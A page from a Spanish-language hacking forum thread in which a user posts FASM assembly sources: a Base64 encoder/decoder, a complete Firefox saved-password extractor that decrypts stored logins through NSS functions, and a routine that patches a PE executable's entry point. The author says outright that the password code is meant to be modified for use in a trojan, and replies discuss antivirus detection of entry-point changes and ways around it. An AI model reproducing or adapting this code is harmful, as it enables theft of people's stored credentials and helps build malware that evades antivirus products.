elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  SRCs de YST.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 [6] 7 8 9 Ir Abajo Respuesta Imprimir
Autor Tema: SRCs de YST.  (Leído 39,411 veces)
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
[SRC][ASM] Base64
« Respuesta #50 en: 30 Abril 2009, 03:55 am »

Hola , tengo un source que cifra y descifra en base64 yo no soy el autor y no se quien es ni la fuente , pero yo siempre eh creido que si uno tiene algo que le puede servir a alguien mas es mejor publicarlo que no publicarlo por falta de fuente y autor .

Código
  1. include 'win32ax.inc'
  2. .data
  3. base64table db 43 dup (255)
  4. db 62,255,255,255,63,52,53,54,55,56,57,58,59,60,61,255
  5. db 255,255,0,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13
  6. db 14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255
  7. db 255,255,26,27,28,29,30,31,32,33,34,35,36,37,38
  8. db 39,40,41,42,43,44,45,46,47,48,49,50,51
  9. db 132 dup (255)
  10. alphabet db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  11. clave rb 255
  12. descifrada rb 255
  13. .code
  14.  
  15. start:
  16. invoke lstrlen,"WHKEsGay :O"
  17. stdcall base64encode,"WHKEsGay :O",clave,eax
  18.  
  19. invoke MessageBox,0,clave,clave,0
  20. invoke lstrlen,clave
  21. stdcall base64decode,clave,descifrada,eax
  22. invoke MessageBox,0,descifrada,descifrada,0
  23. invoke ExitProcess,0
  24. proc base64encode source, destination, sourcelen
  25. push edi
  26. push esi
  27. push ebx
  28. mov  esi, [source]
  29. mov  edi, [destination]
  30. @@base64loop:
  31. .if [sourcelen] = 1
  32. mov al, byte[esi]
  33. and eax, 0FFh
  34. mov ecx, 2 ;bytes to output = 2
  35. mov edx, 03D3Dh ;padding = 2 byte
  36. inc esi ;source ptr + 1
  37. dec [sourcelen] ;length - 1
  38. .elseif [sourcelen] = 2
  39. mov ax, word[esi]
  40. and eax, 0FFFFh
  41. mov ecx, 3 ;bytes to output = 3
  42. mov edx, 03Dh ;padding = 1 byte
  43. add esi, 2 ;source ptr + 2
  44. sub [sourcelen], 2 ;length - 2
  45. .else
  46. mov eax, dword [esi]
  47. and eax, 0FFFFFFh
  48. mov ecx, 4 ;bytes to output = 4
  49. xor edx, edx ;padding = 0 byte
  50. add esi, 3 ;source ptr + 3
  51. sub [sourcelen], 3 ;length - 3
  52. .endif
  53. xchg al,ah ; flip eax completely
  54. rol  eax, 16 ; can this be done faster
  55. xchg al,ah ; ??
  56.  
  57. @@:
  58. push  eax
  59. and   eax, 0FC000000h ;get the last 6 high bits
  60. rol   eax, 6 ;rotate them into al
  61. mov   al,  byte[alphabet+eax] ;get encode character
  62. stosb ;write to destination
  63. pop   eax
  64. shl   eax, 6 ;shift right 6 bits
  65. dec   ecx
  66. jnz   @B ;loop
  67.  
  68. cmp   [sourcelen], 0
  69. jnz   @@base64loop ;main loop
  70.  
  71. mov   eax, edx ;add padding and null terminate
  72. stosd ;  "     "    "     "     "
  73.  
  74. pop   ebx
  75. pop   esi
  76. pop   edi
  77. ret
  78. endp
  79.  
  80.  
  81. proc base64decode  source:DWORD, destination:DWORD, sourcelen:DWORD
  82. push   esi
  83. push   edi
  84. push   ebx
  85.  
  86. mov    esi, [source] ; esi <- source
  87. mov    edi, [destination] ; edi <- destination
  88. mov    ecx, [sourcelen]
  89. shr    ecx, 2
  90. cld
  91.  
  92. ;-------------[decoding part]---------------
  93.  
  94. @@outer_loop:
  95. push   ecx
  96. mov    ecx, 4
  97. xor    ebx, ebx
  98. lodsd
  99. @@inner_loop:
  100. push   eax
  101. and    eax, 0ffh
  102. mov    al, byte[base64table+eax]
  103. cmp    al, 255
  104. je     @@invalid_char
  105. shl    ebx, 6
  106. or     bl, al
  107. pop    eax
  108. shr    eax, 8
  109. dec    ecx
  110. jnz    @@inner_loop
  111. mov    eax, ebx
  112. shl    eax, 8
  113. xchg   ah, al
  114. ror    eax, 16
  115. xchg   ah, al
  116. stosd
  117. dec    edi
  118. pop    ecx
  119. dec    ecx
  120. jnz    @@outer_loop
  121. xor    eax, eax
  122. jmp    @@decode_done
  123.  
  124. ;-------------------------------------------
  125.  
  126. @@invalid_char:
  127. mov    eax, -1
  128. @@decode_done:
  129. pop    ebx
  130. pop    edi
  131. pop    esi
  132. ret
  133. endp
  134. .end start
  135.  

 


« Última modificación: 31 Mayo 2009, 04:19 am por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Darioxhcx


Desconectado Desconectado

Mensajes: 2.294


Ver Perfil
Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
« Respuesta #51 en: 30 Abril 2009, 06:30 am »

menos mal que la mayoría no entienden asm

Saludos y buen code
si uno quisiera hacerlo.. se buscaria un soft como los que hai en una recopilacion
y no necesita saber asm :P

si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
lo compilaria yo , pero no tengo fasm ni ningun compilador asm
no se asm :P

un saludo

por cierto..

Humilde Visor de calves
claves :P


En línea

YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
« Respuesta #52 en: 30 Abril 2009, 06:37 am »

La idea no es que lo uses tal cual esta ,la idea es modificarlo para ponerselo a algún troyano o algo a si .

Citar
si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
No , muchas gracias , este deberia andar en todos los live sin problemas.

Citar
pero no tengo fasm ni ningun compilador asm

ASM no tiene compiladores si no ensambladores.

Citar
Humilde Visor de calves
claves
Corregido ;)
« Última modificación: 31 Mayo 2009, 04:24 am por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
« Respuesta #53 en: 30 Abril 2009, 10:59 am »

Voy a probarlo y te digo, me servira para mi aprendizaje en ASM :).
A Ensamblaaar!

EDIT: Buenisimo, me ha sacado las dos claves que tenia guardadas.. ;)
« Última modificación: 30 Abril 2009, 11:03 am por p33r » En línea

YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
SRCs de YST.
« Respuesta #54 en: 1 Mayo 2009, 09:48 am »

Despues de un dia entero trbaajando en el source para traducirlo lo logre , el codigo lo engo que optimisar todavia ya que tiene muchas partes inecesarias.

Código
  1. format pe console
  2. entry start
  3. include 'win32ax.inc'
  4. sPath equ dword[ebx+4]
  5. Espacio equ 13,10
  6. .data
  7.  
  8. struct TSECItem
  9.    SECItemType     dd ?
  10.    SECItemData     dd ?
  11.    SECItemLen      dd ?
  12.    ends
  13.    url dd ?
  14.    valor dd ?
  15.  
  16. lvLibs0 dd ?
  17. Logo db '         =====================================================',13,10
  18.     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
  19.     db '         =====================================================',13,10,0
  20.  
  21. URL dd ?
  22. Campo dd ?
  23. tsec TSECItem
  24. tSecDec  TSECItem
  25. lvLibs7 dd ?
  26. lKeySlot dd ?
  27. P dd ?
  28. bUsados    dd ?
  29. hFile dd ?
  30. tamAr dd ?
  31. IB dd ?
  32. sFFPath  rb MAX_PATH+1
  33. sRet rb 260
  34. sRet2 rb 260
  35. comp dd ?
  36. .code
  37. start:
  38. invoke system,"color 03"
  39. invoke printf,"%s",Logo
  40. invoke SHGetSpecialFolderLocation,0,26h,ebx
  41. invoke LocalAlloc,40h,MAX_PATH+1
  42. mov dword[ebx+4] ,eax
  43. invoke SHGetPathFromIDList,dword[ebx],sPath
  44. invoke lstrcat,sPath,"\Mozilla Firefox\"
  45.  
  46.  
  47. stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
  48. stdcall Cargar,dword[ebx+4],"sqlite3.dll"
  49. stdcall Cargar,dword[ebx+4],"nspr4.dll"
  50. stdcall Cargar,dword[ebx+4],"plc4.dll"
  51. stdcall Cargar,dword[ebx+4],"plds4.dll"
  52. stdcall Cargar,dword[ebx+4],"nssutil3.dll"
  53. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  54. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  55.  
  56.  
  57. ;"nss3.dll"
  58. invoke LocalAlloc,40h,MAX_PATH+1
  59. mov [P],eax
  60. stdcall Concat,sPath, "nss3.dll",eax
  61. invoke LoadLibrary,[P]
  62. mov [lvLibs7],eax
  63. invoke LocalFree,[P]
  64. ;1A
  65. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  66. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  67. invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
  68.  
  69. invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
  70.  
  71. stdcall Zerar,sFFPath,MAX_PATH
  72.  
  73. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  74. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  75. invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
  76. invoke lstrcat,sFFPath,sRet
  77. invoke lstrcat,sFFPath,"\signons3.txt"
  78.  
  79. invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
  80. mov [hFile], eax
  81. invoke  GetFileSize, eax, 0
  82. mov [tamAr], eax
  83. invoke  GlobalAlloc, GPTR, eax
  84. mov [IB], eax
  85. invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0
  86.  
  87. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  88. invoke SHGetPathFromIDList,dword[ebx],sRet2
  89. invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
  90. invoke lstrcat,sRet2  ,sRet
  91. ;lKeySlot
  92. invoke GetProcAddress,[lvLibs7], "NSS_Init"
  93. stdcall eax,sRet2
  94. .if eax = 0
  95. invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
  96. stdcall eax
  97.   mov [lKeySlot],eax
  98. .if eax <> 0
  99.    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
  100.  
  101.    stdcall eax,[lKeySlot],TRUE,0
  102. .if eax = 0
  103. xor edi,edi
  104. mov ebx,[IB]
  105. invoke printf,Espacio
  106. invoke printf,Espacio
  107. .bucle:
  108.  
  109. inc edi
  110. cmp edi, [tamAr]
  111. je salir
  112. inc ebx
  113. cmp byte[ebx],"."
  114. jne .bucle
  115. cmp byte[ebx+1],13
  116. jne .bucle
  117. cmp byte[ebx+2],10
  118. jne .bucle
  119. add ebx,3
  120. .if byte[ebx] <> 0
  121. mov [URL],ebx
  122. .bucle2:
  123. inc edi
  124. cmp edi, [tamAr]
  125. je salir
  126. inc ebx
  127. cmp byte[ebx],13
  128. jne .bucle2
  129. cmp byte[ebx+1],10
  130. jne .bucle2
  131. mov byte[ebx],0
  132. mov byte[ebx+1],0
  133. invoke printf,Espacio
  134. invoke printf,Espacio
  135. invoke printf,"WEB: %s",[URL]
  136. invoke printf,Espacio
  137. .campo:
  138. add ebx,2
  139. mov [Campo],ebx
  140. .bucle3:
  141. inc edi
  142. cmp edi, [tamAr]
  143. je salir
  144. inc ebx
  145. cmp byte[ebx],13
  146. jne .bucle3
  147. cmp byte[ebx+1],10
  148. jne .bucle3
  149. mov byte[ebx],0
  150. mov byte[ebx+1],0
  151. invoke printf,"Campo: %s",[Campo]
  152. invoke printf,Espacio
  153. add ebx,2
  154. mov [valor],ebx
  155. .bucle4:
  156. inc edi
  157. cmp edi, [tamAr]
  158. je salir
  159. inc ebx
  160. cmp byte[ebx],13
  161. jne .bucle4
  162. cmp byte[ebx+1],10
  163. jne .bucle4
  164. mov byte[ebx],0
  165. mov byte[ebx+1],0
  166. invoke lstrlen,[valor]
  167. mov [Campo],eax
  168.   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
  169. stdcall eax,0,  tsec, [valor], [Campo]
  170.   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
  171.  
  172. stdcall eax, tsec,tSecDec, 0
  173. invoke printf,"Datos: %s",[tSecDec.SECItemData]
  174. invoke printf,Espacio
  175. add ebx,2
  176. .if dword[ebx] = "http"
  177. sub ebx,2
  178. jmp .bucle
  179. .else
  180. sub ebx,2
  181. jmp .campo
  182. .endif
  183. .endif
  184. .endif
  185. .endif
  186. .endif
  187. .endif
  188. salir:
  189. invoke ExitProcess,0
  190.  
  191. proc Cargar, sPathL, libreria
  192. invoke LocalAlloc,40h,MAX_PATH+1
  193. mov [P],eax
  194. stdcall Concat,[sPathL],[libreria] ,eax
  195. invoke LoadLibrary,[P]
  196. invoke LocalFree,[P]
  197. ret
  198. endp
  199. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  200. mov esi,[@AdrSrc1]
  201. mov edi,[@AdrDest]
  202. .concat_src1:
  203. movsb
  204. cmp byte[esi],0
  205. jne .concat_src1
  206. mov esi,[@AdrSrc2]
  207. .concat_src2:
  208. movsb
  209. cmp byte[esi],0
  210. jne .concat_src2
  211. movsb
  212. ret
  213. endp
  214.  
  215. proc Zerar,Puntero,Cantidad
  216.  
  217.    push ecx
  218.    push ebx
  219.  
  220.              mov ecx,[Cantidad]
  221.                 mov ebx,[Puntero]
  222.                .bucle:
  223.  
  224.                mov byte[ebx+ecx],0
  225.                loop .bucle
  226.                mov byte[ebx],0
  227.                pop ebx
  228.                pop ecx
  229.                ret
  230. endp
  231.  
  232.   section '.idata' import data readable writeable
  233.   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
  234.   include 'api/kernel32.inc'
  235. include 'api/user32.inc'
  236. import msvcrt,printf,"printf",system,"system"
  237. include 'api/shell32.inc'
  238. section '.reloc' fixups data discardable
« Última modificación: 31 Mayo 2009, 04:25 am por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
« Respuesta #55 en: 1 Mayo 2009, 11:13 am »

Buen trabajo, yo estaba haciendo lo mismo :xD

Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD

PD:El code es un poco mas pesado de lo necesario no?
« Última modificación: 1 Mayo 2009, 11:19 am por Karcrack » En línea

YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
« Respuesta #56 en: 1 Mayo 2009, 16:12 pm »

Cita de:  Karcrack en 01 Mayo 2009, 11:13
Buen trabajo, yo estaba haciendo lo mismo :xD
Gracias , podrias hacerlo tu tambien y postearlo.

Citar
Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD
Si  :xD :xD

Citar
PD:El code es un poco mas pesado de lo necesario no?

el codigo lo tengo que optimizar todavia ya que tiene muchas partes inecesarias.
Aparte la sección

Código:
section '.reloc' fixups data discardable

ocupa mucho espacio , se la puedes sacar si gustas y el codigo lo termine a las 4:30 AM(hora chilena) osea no estaba en condicion para ponerme a mejorar el source  :xD.

Ahora a ver como guarda las claves el IE7 y el IE8
« Última modificación: 31 Mayo 2009, 04:27 am por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
SRCs de YST.
« Respuesta #57 en: 1 Mayo 2009, 18:16 pm »

Código
  1. include 'win32ax.inc'
  2. INVALID_FILE_SIZE = 0xffffffff
  3. .code
  4. start:
  5. stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
  6. .if eax = 0
  7. invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
  8. .else
  9. invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
  10. .endif
  11. invoke ExitProcess,0
  12.  
  13.  
  14. proc ChangeEntryPoint,Path,NewEP:DWORD
  15. locals
  16. Handle dd ?
  17. Tamaño dd ?
  18. Emezeta dd ?
  19. cantidad dd ?
  20. endl
  21. push ebx
  22. invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
  23. cmp eax,INVALID_HANDLE_VALUE
  24. je .error
  25. mov [Handle],eax                                     ;Guardamos el handle
  26. invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
  27. cmp eax,INVALID_FILE_SIZE
  28. je .error
  29. mov [Tamaño], eax
  30. invoke  GlobalAlloc, GPTR, eax
  31. mov [Emezeta], eax
  32. invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
  33. cmp eax,TRUE
  34. jne .error
  35. invoke CloseHandle,[Handle]     ;Cerramos el handle
  36. cmp eax,NULL
  37. je .error
  38.  
  39. mov ebx,[Emezeta]
  40. cmp word[ebx],"MZ"
  41. jne .error
  42.  
  43. add ebx,dword[ebx+03ch]
  44. cmp word[ebx],"PE"
  45. jne .error
  46.  
  47. xor eax,eax
  48. mov eax,[NewEP]
  49. mov dword[ebx+28h],eax      ;Cambiamos el EP
  50.  
  51. invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
  52. cmp eax,INVALID_HANDLE_VALUE
  53. je .error
  54.               mov [Handle], eax
  55.  
  56.                ;Escibimos el archivo
  57.                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
  58.  
  59.                ; "Cerramos" el archivo
  60.                invoke CloseHandle,[Handle]
  61.  
  62. cmp eax,NULL
  63. je .error
  64. mov eax,1
  65. jmp .salir
  66. .error:
  67. xor eax,eax
  68. .salir:
  69. pop ebx
  70. ret
  71. endp
  72. .end start
« Última modificación: 31 Mayo 2009, 04:28 am por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
‭‭‭‭jackl007


Desconectado Desconectado

Mensajes: 1.403


[UserRPL]


Ver Perfil WWW
Re: [SRC][ASM]ChangeEntryPoint
« Respuesta #58 en: 1 Mayo 2009, 18:20 pm »

me pregunto los antivirus detectran que se cambia el entrypoint?
buen trabajo
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][ASM]ChangeEntryPoint
« Respuesta #59 en: 1 Mayo 2009, 18:37 pm »

Si, concretamente avira y bitdefender entre otros lo detectan, yo tuve problemas con eso en mi proyecto y estuve bastante pensando hasta que por fin conseguí saltarmelo  ;D. Con ejecutables en VB lo detectan bastante ya que tienen el mismo entry point y con los otros no tanto pero si.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Páginas: 1 2 3 4 5 [6] 7 8 9 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines